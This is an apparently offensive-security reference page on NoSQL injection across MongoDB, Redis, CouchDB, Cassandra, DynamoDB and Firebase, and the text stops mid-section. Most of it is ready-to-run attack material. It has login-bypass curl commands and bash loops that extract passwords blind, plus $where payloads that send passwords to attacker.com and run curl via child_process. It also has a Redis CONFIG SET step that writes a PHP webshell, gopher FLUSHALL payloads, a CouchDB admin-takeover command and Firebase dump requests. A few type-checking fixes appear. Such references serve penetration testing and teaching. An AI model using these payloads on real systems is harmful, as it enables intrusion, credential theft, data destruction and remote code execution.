ᛉ Yggdrasil

Web

NoSQL Injection

15 Sep 2026 · 7,373 words · 34 min

Contents

A complete operational reference for NoSQL Injection covering MongoDB, Redis, CouchDB, Cassandra, DynamoDB, and Firebase. Covers detection, operator injection, authentication bypass, blind NoSQLi, JavaScript injection ($where / mapReduce), array operator abuse, aggregation pipeline injection, OOB exfiltration, HTTP parameter pollution, NoSQLMap, WAF bypass, and remediation. Mapped to MITRE ATT&CK T1190 / T1059.


1. Core Concepts & Injection Types

NOSQL INJECTION TAXONOMY:

NOSQL INJECTION
├── OPERATOR INJECTION (most common — MongoDB)
│   ├── Inject MongoDB query operators ($gt, $ne, $regex, $where, etc.)
│   ├── Manipulate query logic without SQL syntax
│   └── Works via JSON body, GET params, HTTP parameter pollution
│
├── JAVASCRIPT INJECTION
│   ├── $where clause — server-side JS execution inside MongoDB query
│   ├── mapReduce — JS functions executed on the DB server
│   └── Blind: sleep() for time-based, OOB for DNS/HTTP exfiltration
│
├── AUTHENTICATION BYPASS
│   ├── $ne (not-equal) → bypass password check
│   ├── $gt / $lt / $gte / $lte → compare instead of match
│   └── $regex → match any non-empty string
│
├── BLIND NOSQLI
│   ├── Boolean-based — true/false response difference
│   ├── Time-based — sleep() / tautology loops
│   └── Out-of-Band — DNS/HTTP callback from $where
│
├── STORED / SECOND-ORDER
│   └── Payload stored in NoSQL DB, triggers injection when read back
│
└── CQL / NOSQL LANGUAGE INJECTION
    ├── Cassandra CQL — similar to SQL injection via CQL syntax
    ├── Redis RESP — command injection via protocol manipulation
    └── CouchDB — HTTP API manipulation, view injection

Key Terms: - Document Store — NoSQL DB that stores JSON/BSON documents (MongoDB, CouchDB, Firestore). Queries operate on field-value pairs, not SQL tables. - Query Operator — MongoDB syntax like $gt, $ne, $regex, $where — injected when user input is embedded directly into a query object. - BSON — Binary JSON — MongoDB's wire format. Operators are valid BSON keys; injecting {"$ne": null} as a field value changes query semantics. - $where — MongoDB operator that evaluates a JavaScript expression server-side. Extremely dangerous — allows JS execution, sleep(), and OOB callbacks. - HTTP Parameter Pollution (HPP) — sending ?user=a&user[$ne]=b causes some frameworks to parse user as {"$ne": "b"} — a MongoDB operator. - Tautology — a condition always true: {"$gt": ""} matches any non-empty string; used to bypass authentication. - SSJI — Server-Side JavaScript Injection — JS code execution via MongoDB $where or mapReduce. - OOB — Out-of-Band — exfiltrating data via DNS or HTTP callbacks from JS running inside $where.

Why It Happens:

// Node.js / Express + MongoDB — VULNERABLE:
// User input embedded directly into query object:
app.post('/login', async (req, res) => {
    const user = await db.collection('users').findOne({
        username: req.body.username,  // user controls this
        password: req.body.password   // and this
    });
});
// Attacker sends: {"username": "admin", "password": {"$ne": null}}
// Query becomes: {username: "admin", password: {$ne: null}} → BYPASSED

// SAFE — validate type before passing to query:
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    if (typeof username !== 'string' || typeof password !== 'string') {
        return res.status(400).json({ error: 'Invalid input' });
    }
    const user = await db.collection('users').findOne({ username, password });
});
// PHP + MongoDB — VULNERABLE:
$collection->find([
    'username' => $_POST['username'],
    'password' => $_POST['password']
]);
// POST: username=admin&password[$ne]=x → operator injected

// SAFE:
$username = (string) $_POST['username'];
$password = (string) $_POST['password'];
$collection->find(['username' => $username, 'password' => $password]);

NoSQL vs SQL Injection: - SQLi: breaks SQL syntax with quotes, comments, UNION. - NoSQLi: injects query operator objects ({"$ne": null}) or JS ($where: "1==1"). - NoSQLi doesn't need quotes — works through JSON object structure. - Both can lead to auth bypass, data exfiltration, and sometimes RCE.


2. Detection & Fingerprinting

2.1 Common Injection Points

→ JSON POST body:        {"username":"admin","password":"x"}
→ GET parameters:        ?search=admin&filter=active
→ HTTP headers:          X-User-ID, Authorization Bearer payload
→ Cookie values:         session=eyJ..., user=admin
→ URL path segments:     /api/users/PAYLOAD/profile
→ GraphQL variables:     {"query":"...", "variables":{"id":"PAYLOAD"}}
→ URL-encoded POST:      username=admin&password[$ne]=x
→ REST API filters:      ?filter[username]=admin&filter[password][$ne]=x
→ XML body (rare):       <username>admin</username><password>{"$ne":""}</password>

2.2 Initial Probe — Break the Query

# Inject special characters and observe response change:
# Single quote — breaks some NoSQL query parsers:
' " \ ; { } [ ] : , $

# JSON syntax break:
{"username": "admin'"}        # malformed JSON field
{"username": {"$gt": ""}}     # operator injection

# URL-encoded GET parameter probes:
?username=admin'
?username=admin"
?username={"$gt":""}
?username[$gt]=             # HTTP parameter pollution → MongoDB operator
?username[$ne]=x

2.3 Operator Injection Probes

# Via JSON body (Content-Type: application/json):
{"username": "admin", "password": {"$gt": ""}}       # gt: greater than empty string
{"username": "admin", "password": {"$ne": null}}      # ne: not null
{"username": "admin", "password": {"$ne": "x"}}       # ne: not "x"
{"username": "admin", "password": {"$regex": ".*"}}   # regex: match anything
{"username": {"$ne": null}, "password": {"$ne": null}} # both fields bypassed

# Via URL-encoded POST (application/x-www-form-urlencoded):
username=admin&password[$gt]=
username=admin&password[$ne]=x
username=admin&password[$regex]=.*
username[$ne]=x&password[$ne]=x

# Via GET parameters:
?username=admin&password[$ne]=x
?search[$regex]=.*
?id[$gt]=0

2.4 Error-Based Fingerprinting

# Inject malformed query to trigger error messages:
{"username": {"$invalidop": "x"}}
{"$where": "sleep(1000)"}
{"username": {"$regex": "["}}     # malformed regex

# MongoDB error signatures:
# "unknown operator: $invalidop"                  → MongoDB
# "MongoServerError"                              → MongoDB driver
# "BSONTypeError"                                 → MongoDB (BSON type mismatch)
# "$where is not allowed"                         → MongoDB with JS disabled
# "Unrecognized pipeline stage name"              → MongoDB aggregation

# Redis error signatures:
# "-ERR unknown command"                          → Redis
# "-WRONGTYPE Operation against a key"            → Redis

# CouchDB error signatures:
# {"error":"bad_request","reason":"..."}          → CouchDB HTTP API
# "compilation_error"                             → CouchDB view/JS error

# Cassandra error signatures:
# "SyntaxException"                               → Cassandra CQL
# "InvalidQueryException"                         → Cassandra

# Generic NoSQL indicator:
# Response changes between {"$ne":"x"} and {"$ne":"CORRECTVALUE"}
# → Boolean-based NoSQLi confirmed

2.5 Confirm Boolean-Based NoSQLi

# Send TRUE condition — should return normal/success response:
{"username": "admin", "password": {"$ne": "wrongvalue12345"}}
# → Login succeeds / data returned

# Send FALSE condition — should return empty/error:
{"username": "admin", "password": {"$ne": "admin"}}  # only fails if password IS "admin"
# → Login fails

# More reliable TRUE/FALSE pair:
{"username": "admin", "password": {"$gt": ""}}   # TRUE — greater than empty string
{"username": "admin", "password": {"$lt": ""}}   # FALSE — less than empty string (nothing is)

3. Database Identification Decision Tree

NoSQL injection suspected?
│
├── Inject {"$ne": null} into a field value (JSON body or HPP)
│   ├── Response changes (auth bypassed / more results) → MONGODB (or compatible)
│   └── No change → try other databases
│
├── Try GET parameter pollution: ?field[$ne]=x
│   ├── Works → MONGODB via Express/PHP with qs parser
│   └── No effect → framework doesn't parse nested params
│
├── Try $where JS:
│   {"$where": "sleep(1000)"}
│   ├── Response delayed ~1 second → MONGODB with JS enabled
│   └── Error "not allowed" → MongoDB, JS disabled (--noscripting)
│   └── No effect → not MongoDB $where
│
├── Send HTTP request with Redis RESP protocol chars:
│   *1\r\n$4\r\nPING\r\n
│   ├── +PONG response → REDIS
│   └── No effect → not Redis RESP injection
│
├── Target CouchDB HTTP API:
│   GET /_all_dbs HTTP/1.1
│   ├── JSON array of database names → COUCHDB
│   └── 404 / HTML → not CouchDB
│
├── Inject CQL into Cassandra endpoint:
│   ' OR '1'='1
│   ├── CQL SyntaxException in error → CASSANDRA (CQL)
│   └── No effect → not Cassandra CQL
│
└── Check Firebase / Firestore URL patterns:
    https://PROJECT.firebaseio.com/.json
    ├── Returns JSON data → FIREBASE RTDB (misconfigured)
    └── 401 → Firebase with rules (test rule bypass)

Quick DB Identifier Summary:

Indicator Database
{"$ne": null} changes response MongoDB
$where: "sleep(1)" delays response MongoDB (JS enabled)
-ERR / +PONG in response Redis
{"error":"bad_request"} JSON errors CouchDB
SyntaxException / InvalidQueryException Cassandra
firebaseio.com / appspot.com URLs Firebase
dynamodb.amazonaws.com errors DynamoDB

4. MongoDB — Operator Injection

4.1 Comparison Operators

// $ne — Not Equal (most common bypass)
{"password": {"$ne": "wrongvalue"}}   // matches any password ≠ "wrongvalue"
{"password": {"$ne": null}}           // matches any non-null password
{"password": {"$ne": ""}}             // matches any non-empty password

// $gt — Greater Than
{"password": {"$gt": ""}}             // matches any password > "" (all strings)
{"age": {"$gt": 0}}                   // matches any positive age
{"_id": {"$gt": ""}}                  // matches any non-empty _id

// $gte — Greater Than or Equal
{"password": {"$gte": ""}}            // matches any password ≥ ""

// $lt — Less Than
{"age": {"$lt": 9999}}                // matches anything less than 9999

// $in — Match any value in array
{"username": {"$in": ["admin", "administrator", "root", "superuser"]}}
{"role": {"$in": ["admin", "superadmin", "root"]}}

// $nin — Not in array
{"username": {"$nin": ["guest", "anonymous"]}}

// $exists — Field exists
{"password": {"$exists": true}}       // matches docs where password field exists
{"admin": {"$exists": true}}          // check if admin field is set

// $type — Field type
{"password": {"$type": 2}}            // type 2 = string; matches string passwords
{"_id": {"$type": 7}}                 // type 7 = ObjectId

4.2 Evaluation Operators

// $regex — Regular Expression (no JS engine needed)
{"password": {"$regex": ".*"}}          // matches any string
{"username": {"$regex": "^admin"}}      // starts with "admin"
{"email": {"$regex": "@corp\\.com$"}}   // ends with @corp.com
{"password": {"$regex": "^a"}}          // password starts with "a" (blind char extraction)
{"password": {"$regex": "^ad"}}         // password starts with "ad"
{"password": {"$regex": "^admin$"}}     // exact match

// Case-insensitive regex:
{"username": {"$regex": "admin", "$options": "i"}}

// $text — Full-text search (requires text index)
{"$text": {"$search": "admin"}}

// $mod — Modulo
{"age": {"$mod": [2, 0]}}              // age is even

4.3 Array Operators

// $elemMatch — at least one array element matches
{"roles": {"$elemMatch": {"$eq": "admin"}}}
{"permissions": {"$elemMatch": {"$gt": 5}}}

// $all — array contains all specified values
{"roles": {"$all": ["admin", "superuser"]}}

// $size — array has specific length
{"roles": {"$size": 1}}                 // exactly one role

4.4 Logical Operators

// $or — match any condition
{"$or": [{"username": "admin"}, {"username": "administrator"}]}
{"$or": [{"role": "admin"}, {"isAdmin": true}]}

// $and — all conditions must match
{"$and": [{"username": "admin"}, {"active": true}]}

// $nor — none of the conditions match (tautology abuse)
{"$nor": [{"password": "wrongvalue"}]}  // matches anything where password ≠ "wrongvalue"

// $not — negate operator
{"password": {"$not": {"$eq": "wrongpassword"}}}

// Tautology with $or (always true):
{"$or": [{"username": "admin"}, {"username": {"$ne": null}}]}
// Second condition matches everything → returns all users

5. MongoDB — Authentication Bypass

5.1 Via JSON Body (application/json)

# Bypass login — password not-equal to any wrong value:
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "x"}}'

# Bypass with $gt (password > empty string = any non-empty string):
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$gt": ""}}'

# Bypass with $regex (match anything):
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass both username AND password (get first user in collection):
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}'

# Login as any admin:
curl -s -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "admin.*"}, "password": {"$ne": "x"}}'

5.2 Via HTTP Parameter Pollution (URL-encoded POST)

# When framework parses ?field[$op]=value as {field: {$op: value}}:
# (Express with qs, PHP, etc.)
curl -s -X POST http://target.com/login \
  -d "username=admin&password[$ne]=x"

curl -s -X POST http://target.com/login \
  -d "username=admin&password[$gt]="

curl -s -X POST http://target.com/login \
  -d "username=admin&password[$regex]=.*"

# Both fields:
curl -s -X POST http://target.com/login \
  -d "username[$ne]=x&password[$ne]=x"

5.3 Via GET Parameters

# REST APIs that use GET params for filters:
curl -s "http://target.com/api/users?username=admin&password[\$ne]=x"
curl -s "http://target.com/api/users?username[\$gt]=&password[\$gt]="
curl -s "http://target.com/search?q[\$ne]=null"
curl -s "http://target.com/api/items?price[\$gt]=0"

5.4 Common Authentication Query Patterns

// What the vulnerable server-side query looks like:

// Pattern 1 — Direct field match:
db.users.findOne({ username: input.username, password: input.password })
// Bypass: password = {"$ne": "x"}

// Pattern 2 — With MD5/SHA hash:
db.users.findOne({ username: input.username, password: md5(input.password) })
// Bypass: username = {"$ne": null} — if findOne returns first user, hash check irrelevant

// Pattern 3 — Active user check:
db.users.findOne({ username: input.username, password: input.password, active: true })
// Bypass: {"username":"admin","password":{"$ne":"x"},"active":{"$ne":false}}

// Pattern 4 — Token-based lookup:
db.sessions.findOne({ token: req.headers['x-token'] })
// Bypass via header: X-Token: {"$ne": null}  → returns first session

6. MongoDB — JavaScript Injection ($where / mapReduce)

6.1 $where Operator

$where evaluates a JavaScript string or function on the server for every document. Requires --noscripting to be OFF (default).

// Basic $where tautology (always true):
{"$where": "1==1"}
{"$where": "true"}
{"$where": "this.username == 'admin' || 1==1"}

// Bypass login via $where:
curl -s -X POST http://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "$where": "1==1"}'

// $where with field condition:
{"$where": "this.password.length > 0"}   // matches any user with a password
{"$where": "this.role == 'admin'"}        // matches admin role users

// $where JS — enumerate collections (blind):
{"$where": "function() { return this.username.match(/^a/); }"}
// Returns documents where username starts with "a"

6.2 $where — Time-Based Blind

# Confirm JS execution via sleep (MongoDB has no sleep() — use a compute loop):
curl -s -X POST http://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"$where": "function() { var d = new Date(); var b = new Date(); while(b-d<5000){b=new Date();} return true; }"}'
# Response delayed ~5 seconds → JS execution confirmed

# Shorter form using a tight loop:
{"$where": "sleep(5000)"}            # sleep() doesn't exist in MongoDB JS
# Use: var t=new Date(); while(new Date()-t<5000){}; return true;

# Conditional time delay (blind data extraction):
# If first char of admin password == 'a', sleep 5 seconds:
{
  "$where": "function() { if(this.username=='admin' && this.password[0]=='a'){ var d=new Date(); while(new Date()-d<5000){}; } return true; }"
}

6.3 $where — OOB Exfiltration

// Exfiltrate via DNS (if server has outbound DNS):
{
  "$where": "function() { var http = new XMLHttpRequest(); http.open('GET','http://'+this.password+'.attacker.com',false); http.send(); return true; }"
}

// Via fetch (Node.js MongoDB contexts):
{
  "$where": "function() { require('child_process').exec('curl http://ATTACKER.COM/?d='+this.password); return true; }"
}

// Exfiltrate via HTTP GET to Burp Collaborator:
{
  "$where": "function() { var x=new XMLHttpRequest(); x.open('GET','http://COLLABORATOR.oastify.com/?data='+escape(this.password),false); x.send(); return true; }"
}

6.4 mapReduce Injection

// mapReduce executes JS map and reduce functions — less common but powerful:
db.runCommand({
  mapReduce: "users",
  map: function() { emit(this.username, this.password); },
  reduce: function(k, v) { return v; },
  out: { inline: 1 }
});

// Via HTTP API (if mapReduce endpoint exposed):
POST /api/mapreduce
{
  "map": "function() { emit(this.username, this.password); }",
  "reduce": "function(k,v) { return v; }"
}

7. MongoDB — Data Extraction & Enumeration

7.1 Enumerate Collections (via $where)

// Check if a collection exists (JS — requires $where):
{"$where": "function() { return db.getCollectionNames().indexOf('admin_users') >= 0; }"}
{"$where": "function() { return db.getCollectionNames().indexOf('secrets') >= 0; }"}

// List collection names length:
{"$where": "function() { return db.getCollectionNames().length > 5; }"}

7.2 Extract Data via $regex (Blind Character-by-Character)

# Enumerate password character by character using $regex:
# Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}       # → success/fail

# Does it start with 'ad'?
{"username": "admin", "password": {"$regex": "^ad"}}

# Automate:
for char in {a..z} {A..Z} {0..9}; do
  RESULT=$(curl -s -X POST http://target.com/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^$KNOWN$char\"}}")
  if echo "$RESULT" | grep -q "success\|token\|welcome"; then
    KNOWN="${KNOWN}${char}"
    echo "Found: $KNOWN"
  fi
done

7.3 Extract Field Names (Blind)

# Does the 'password' field exist?
{"username": "admin", "password": {"$exists": true}}

# Does field 'secret' exist?
{"username": "admin", "secret": {"$exists": true}}

# Check field type:
{"username": "admin", "password": {"$type": 2}}    # type 2 = string

# Enumerate unknown field names using $where:
{"$where": "function() { return Object.keys(this).indexOf('apiKey') >= 0; }"}
{"$where": "function() { return Object.keys(this).length > 3; }"}
{"$where": "function() { return Object.keys(this).join(',').length > 20; }"}

7.4 Extract All Documents

// $ne tautology — return ALL documents in a collection:
// Instead of findOne, findAll via bypassed filter:
{"username": {"$ne": null}}                          // all users
{"_id": {"$ne": null}}                               // all docs (all _ids are non-null)
{"$where": "true"}                                   // all docs via JS tautology
{"$or": [{"username": "admin"}, {"_id": {"$ne": null}}]}  // OR with always-true condition

7.5 MongoDB Internal Collections

// If $where or mapReduce is available, access admin collections:
db.adminCommand({ listDatabases: 1 })                // list all databases (requires admin)
db.getCollectionNames()                              // list collections in current DB
db.users.find({})                                    // dump users collection
db.system.users.find({})                             // MongoDB auth users

// Via $where (blind):
{"$where": "function() { return db.adminCommand({listDatabases:1}).databases.length > 2; }"}

8. MongoDB — Blind NoSQLi

8.1 Boolean-Based Blind

# Identify a TRUE vs FALSE response difference first:
# TRUE (login success / non-empty result):
curl -s -X POST http://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "WRONGVALUE12345"}}'

# FALSE (login failure / empty result):
curl -s -X POST http://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "admin"}}'
# (only fails if actual password IS "admin")

# Better TRUE/FALSE pair:
# TRUE:
{"username": "admin", "password": {"$regex": "^.{1,}"}}   # has at least 1 char
# FALSE:
{"username": "admin", "password": {"$regex": "^$"}}         # empty string

8.2 Extract Password Length (Blind)

# Binary search on password length:
{"username": "admin", "password": {"$regex": "^.{8}$"}}    # exactly 8 chars?
{"username": "admin", "password": {"$regex": "^.{1,8}$"}}  # 1-8 chars?
{"username": "admin", "password": {"$regex": "^.{9,}$"}}   # 9+ chars?

# Script — binary search for password length:
LOW=1; HIGH=50
while [ $LOW -lt $HIGH ]; do
  MID=$(( (LOW + HIGH) / 2 ))
  RESULT=$(curl -s -X POST http://target.com/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":{\"\$regex\":\"^.{$MID,}\$\"}}")
  if echo "$RESULT" | grep -q "success"; then
    LOW=$(( MID + 1 ))
  else
    HIGH=$MID
  fi
done
echo "Password length: $LOW"

8.3 Extract Password Character by Character (Blind)

# Build password one character at a time using $regex:
KNOWN=""
CHARS='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*'

for i in $(seq 1 20); do
  for char in $(echo $CHARS | fold -w1); do
    ESCAPED=$(printf '%s' "$char" | sed 's/[.^$*+?{}[\]|()]/\\&/g')
    PAYLOAD="{\"username\":\"admin\",\"password\":{\"\$regex\":\"^${KNOWN}${ESCAPED}\"}}"
    RESULT=$(curl -s -X POST http://target.com/login \
      -H "Content-Type: application/json" \
      -d "$PAYLOAD")
    if echo "$RESULT" | grep -q "success\|token\|200"; then
      KNOWN="${KNOWN}${char}"
      echo "Position $i: $KNOWN"
      break
    fi
  done
done
echo "Extracted password: $KNOWN"

8.4 Time-Based Blind (via $where)

# Conditional time delay — if condition true, sleep 5 seconds:
# Does admin password start with 'a'?
curl -s -X POST http://target.com/api/find \
  -H "Content-Type: application/json" \
  -d '{
    "$where": "function() {
      if(this.username==\"admin\" && this.password[0]==\"a\") {
        var d=new Date(); while(new Date()-d<5000){}
      }
      return true;
    }"
  }'

# Measure response time — > 5s → condition is TRUE

# Template for character-by-character extraction:
function nosql_time_extract() {
  local POS=$1 CHAR=$2
  START=$(date +%s%3N)
  curl -s -X POST http://target.com/api/find \
    -H "Content-Type: application/json" \
    -d "{
      \"\$where\": \"function() {
        if(this.username=='admin' && this.password[$POS]=='$CHAR') {
          var d=new Date(); while(new Date()-d<3000){}
        }
        return true;
      }\"
    }" > /dev/null
  END=$(date +%s%3N)
  echo $(( END - START ))
}

# Call: if response > 3000ms, char is found

9. MongoDB — Aggregation Pipeline Injection

9.1 $lookup Injection (MongoDB JOIN)

// If user-controlled input goes into $lookup fields:
// Vulnerable aggregation:
db.orders.aggregate([
  { "$lookup": {
      "from": userInput,           // attacker controls collection name
      "localField": "userId",
      "foreignField": "_id",
      "as": "userInfo"
  }}
]);

// Inject: from = "admin_users" → leaks admin collection
// Inject: from = "secrets"     → leaks secrets collection

9.2 $match Injection

// Vulnerable: user input goes into $match stage:
db.products.aggregate([
  { "$match": { "category": userInput } }
]);

// Inject: {"$ne": null}   → matches all documents
// Inject operator object as category value → filter bypass

9.3 $group / $project Injection

// If field names are user-controlled:
db.users.aggregate([
  { "$project": { [userFieldName]: 1 } }   // attacker controls projected field
]);

// Inject: "password" → leaks password field
// Inject: "__proto__" → prototype pollution attempt

10. Redis Injection

10.1 Redis Basics & Injection Context

Redis is a key-value store. Injection occurs when user input is embedded in Redis commands without sanitization. Redis uses a text protocol (RESP).

Attack surfaces:
→ Web app builds Redis commands from user input
→ SSRF to Redis port (6379) — send RESP commands via HTTP redirect
→ Redis exposed without authentication (common misconfiguration)
→ Lua scripting injection (EVAL command)

10.2 SSRF to Redis (Gopher Protocol)

# When app follows redirects to internal hosts:
# Redis RESP protocol over gopher:// URL:

# Payload: SET key value
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A

# Common Redis commands via gopher:
# FLUSHALL — wipe all keys:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A

# SET a key:
gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%245%0D%0Ahello%0D%0A%245%0D%0Aworld%0D%0A

# Write webshell via Redis CONFIG SET:
# Set dir to web root:
gopher://127.0.0.1:6379/_*3%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0ASET%0d%0a$3%0d%0adir%0d%0a%0d%0a*3%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0ASET%0d%0a$10%0d%0Adbfilename%0d%0a$9%0d%0Ashell.php%0d%0a

# Build full Redis RCE payload:
redis-cli -h target -p 6379
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system(\$_GET['cmd']); ?>"
BGSAVE
# → Writes shell.php to web root

10.3 Redis Command Injection

# If user input is appended to Redis command string:
# VULNERABLE (Node.js):
client.get("user:" + userInput, callback);
# Inject: "admin\r\nFLUSHALL\r\n"  → CRLF injects new command

# CRLF injection into Redis:
GET /cache?key=hello%0d%0aFLUSHALL%0d%0a
# If app uses key in raw Redis command → FLUSHALL executes

# Via newline in parameter:
?key=hello\r\nSET injected value\r\n

10.4 Redis Lua Injection (EVAL)

# If user input goes into Lua script:
EVAL "return redis.call('get', KEYS[1])" 1 userInput

# Inject Lua code if input is in script string (rare):
EVAL "return redis.call('get', 'key') .. userPayload" 0
# Inject: "') redis.call('SET','hacked','1') redis.call('get','x"

10.5 Redis Unauthenticated Access

# Check for unauthenticated Redis:
redis-cli -h target.com -p 6379 ping
# +PONG → unauthenticated access

# Common Redis operations without auth:
redis-cli -h target.com INFO server                  # server info
redis-cli -h target.com KEYS '*'                     # list all keys
redis-cli -h target.com GET <key>                    # read key
redis-cli -h target.com CONFIG GET dir               # config values
redis-cli -h target.com CONFIG GET requirepass       # check if password set

# Dump all keys and values:
redis-cli -h target.com --scan | while read key; do
  echo "$key: $(redis-cli -h target.com GET "$key")"
done

11. CouchDB Injection

11.1 CouchDB HTTP API Abuse

CouchDB exposes a REST HTTP API. Misconfigured instances allow unauthenticated access.

# Check unauthenticated access:
curl -s http://target.com:5984/                    # server info
curl -s http://target.com:5984/_all_dbs            # list all databases
curl -s http://target.com:5984/_users/_all_docs    # list all users
curl -s http://target.com:5984/mydb/_all_docs      # dump all documents

# Read a specific document:
curl -s http://target.com:5984/mydb/DOCID

# Admin panel (Fauxton):
http://target.com:5984/_utils/

11.2 CouchDB View Injection

// CouchDB "views" use JavaScript map/reduce functions.
// If user input goes into a view:

// Vulnerable view creation:
POST /_design/myview
{
  "views": {
    "all": {
      "map": "function(doc) { emit(doc." + userField + ", doc); }"
    }
  }
}

// Inject: userField = "username) { emit(doc); } // "
// Results in: function(doc) { emit(doc.username) { emit(doc); } // , doc); }
// The injected emit(doc) leaks all documents

11.3 CouchDB Admin Takeover

# Create admin user on unauthenticated CouchDB (< 3.x):
curl -X PUT http://target.com:5984/_node/nonode@nohost/_config/admins/attacker \
     -d '"password123"'

# Or via /_config endpoint:
curl -X PUT http://target.com:5984/_config/admins/attacker \
     -d '"password123"'

# Then access admin panel:
curl -s -u attacker:password123 http://target.com:5984/_all_dbs

12. Cassandra Injection (CQL)

12.1 CQL Injection Basics

Cassandra Query Language (CQL) is SQL-like. Injection occurs when user input is concatenated into CQL queries without prepared statements.

-- VULNERABLE (string concatenation in CQL):
SELECT * FROM users WHERE username = 'USERINPUT' AND password = 'PASSINPUT';

-- Bypass with CQL comment/tautology:
-- Input: admin' AND '1'='1
SELECT * FROM users WHERE username = 'admin' AND '1'='1' AND password = 'x';

-- Input: admin'--
-- CQL has no -- comments in Cassandra — use other techniques

12.2 CQL Injection Payloads

-- Auth bypass (tautology):
' OR '1'='1
' OR 1=1
admin' ALLOW FILTERING--

-- Extract data — CQL UNION doesn't exist, use OR to widen results:
' OR username != ''

-- Cassandra-specific: ALLOW FILTERING to bypass index restrictions:
' OR '1'='1' ALLOW FILTERING--

-- Check Cassandra version:
SELECT release_version FROM system.local;

-- List keyspaces (databases):
SELECT keyspace_name FROM system_schema.keyspaces;

-- List tables in keyspace:
SELECT table_name FROM system_schema.tables WHERE keyspace_name='mykeyspace';

-- List columns:
SELECT column_name, type FROM system_schema.columns
WHERE keyspace_name='mykeyspace' AND table_name='users';

12.3 CQL Blind Injection

-- Cassandra has no SLEEP() — use heavy computation for time-based:
-- Or use boolean response differences:

-- Check if admin exists:
' AND username='admin' AND '1'='1
-- Different response length → admin exists

-- Extract password length (if error-based output):
' AND LENGTH(password)=8 AND '1'='1

13. DynamoDB Injection

13.1 DynamoDB Expression Injection

AWS DynamoDB uses "expression" strings for queries. Injection occurs when user input is interpolated into FilterExpression, KeyConditionExpression, or ProjectionExpression strings.

# VULNERABLE — user input in FilterExpression:
response = table.scan(
    FilterExpression=f"username = :u AND {userInput}"
)

# Inject: "OR :u = :u" → condition always true → returns all records
# FilterExpression becomes: "username = :u AND OR :u = :u"

# Inject: "attribute_exists(password)" → leaks docs with password field

13.2 DynamoDB Operator Injection

# DynamoDB expression attributes — inject via :value parameters:
# VULNERABLE:
response = table.query(
    KeyConditionExpression=Key('username').eq(user_input)
)

# If user_input is a dict (JSON body), inject comparison operators:
# DynamoDB SDK: passing {"S": "admin"} as a string value type

# PartiQL (SQL-like DynamoDB query — injection like SQL):
# VULNERABLE PartiQL:
statement = f"SELECT * FROM Users WHERE username = '{userinput}'"
client.execute_statement(Statement=statement)

# Inject: ' OR '1'='1
# Statement: SELECT * FROM Users WHERE username = '' OR '1'='1'
# → Returns all users

13.3 DynamoDB PartiQL Injection

# PartiQL supports SQL-like syntax:
# Auth bypass:
' OR '1'='1
' OR username > ''
' OR attribute_exists(username)--

# Extract data:
'; SELECT * FROM Users-- -
'; SELECT * FROM Secrets-- -

# Test via AWS CLI:
aws dynamodb execute-statement \
  --statement "SELECT * FROM Users WHERE username = 'admin' OR '1'='1'"

14. Firebase / Firestore Injection

14.1 Firebase Realtime Database Misconfiguration

# Firebase RTDB is exposed as a REST API at:
# https://PROJECT-ID.firebaseio.com/

# Check for public read (unauthenticated):
curl -s "https://PROJECT.firebaseio.com/.json"           # dump root
curl -s "https://PROJECT.firebaseio.com/users.json"      # dump users node
curl -s "https://PROJECT.firebaseio.com/secrets.json"    # dump secrets node

# With shallow=true for large databases:
curl -s "https://PROJECT.firebaseio.com/.json?shallow=true"

# Public write check:
curl -s -X PUT "https://PROJECT.firebaseio.com/test.json" \
     -d '"hacked"'

# Enumerate child nodes via REST:
curl -s "https://PROJECT.firebaseio.com/users.json?shallow=true"

14.2 Firebase Security Rule Bypass

# Common weak rule: allow read if authenticated (but token is reusable):
# Rules: { "rules": { ".read": "auth != null" } }

# Create a Firebase account → get ID token → access all data:
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}'
# → Returns idToken

curl -s "https://PROJECT.firebaseio.com/users.json?auth=ID_TOKEN"

# Overly permissive rules to test for:
# ".read": true                    → anyone can read
# ".write": true                   → anyone can write
# ".read": "auth != null"          → any authenticated user (including self-registered)
# ".read": "auth.uid != null"      → same as above

14.3 Firestore Injection

// Firestore uses structured queries — injection via operator objects:
// VULNERABLE (JavaScript):
const snapshot = await db.collection('users')
  .where('username', '==', req.body.username)
  .where('password', '==', req.body.password)
  .get();

// If req.body.password is an object: {"!=": ""} → Firestore operator?
// Firestore doesn't support $ne like MongoDB — but type confusion can occur

// Firestore REST API query injection:
POST https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents:runQuery
{
  "structuredQuery": {
    "from": [{"collectionId": "users"}],
    "where": {
      "fieldFilter": {
        "field": {"fieldPath": "role"},
        "op": "EQUAL",
        "value": {"stringValue": "admin"}
      }
    }
  }
}
// If query structure is built from user input → inject different ops/values

15. HTTP Parameter Pollution & Format Abuse

15.1 HTTP Parameter Pollution (HPP) — MongoDB Operator Injection

Different frameworks parse duplicate/nested parameters differently:

